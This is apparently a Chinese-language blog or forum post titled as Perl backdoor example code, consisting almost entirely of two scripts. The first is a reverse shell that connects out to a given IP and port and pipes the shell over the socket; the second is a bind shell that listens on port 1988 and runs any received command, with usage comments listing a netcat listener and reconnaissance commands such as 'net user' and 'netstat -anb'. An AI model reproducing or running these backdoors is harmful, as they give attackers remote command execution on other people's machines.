perl后门,正向和反向!实例代码

 #!/usr/bin/perl #usage: #nc -vv -l -p PORT(default 1988) on your local system first,then #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988) #Type 'exit' to exit or press Enter to gain shell when u under the 'console'. #nc -vv -l -p 1988 #perl backdoor.pl 127.0.0.1 1988 #use strict; use Socket; use IO::Socket; use Cwd; use IO::Handle; my $remote   = $ARGV[0] || "127.0.0.1"; my $remote_port = $ARGV[1] || 1988; my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) ); my $path = cwd(); $ARGC = @ARGV; if ( $ARGV[0] !~ /-/ ) { socket( SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp') ) or die "socket error: "; STDOUT->autoflush(1); SOCKET->autoflush(1); $conn = connect( SOCKET, $pack_addr ) || die "connection error : $!"; open STDIN, ">&SOCKET"; open STDOUT, ">&SOCKET"; open STDERR, ">&SOCKET"; print "You are in $path\n"; print "Welcome to use.\n"; print "console>\n"; while () { chomp; if ( lc($_) eq 'exit' ) { print " Bye Bye!"; exit; } $msg = system($_); if ($msg) { print STDOUT "\n$msg\n"; print STDOUT "console>"; } else { print "console>"; } } close SOCKET; exit; } 

 #!/usr/bin/perl #ActivePerl 5.8.8 Build 822 #usage: #first:perl backdoor2c.pl #second:nc -vv 127.0.0.1 1988 #net user #ipconfig /all #netstat -anb use IO::Socket; $port = "1988"; my $socket = new IO::Socket::INET( 'Localhost' => '127.0.0.1', 'LocalPort' => $port, 'Listen'  => 1, 'Proto'   => 'tcp', 'Reuse'   => 1 ); die "Reason: $!" unless $socket; while ( my $new_socket = $socket->accept() ) { while ( my $buffer = <$new_socket> ) { if ( $buffer =~ /exit/ ) { exit; } $res_msg = `$buffer`; print $new_socket "$res_msg\ncmd>"; } }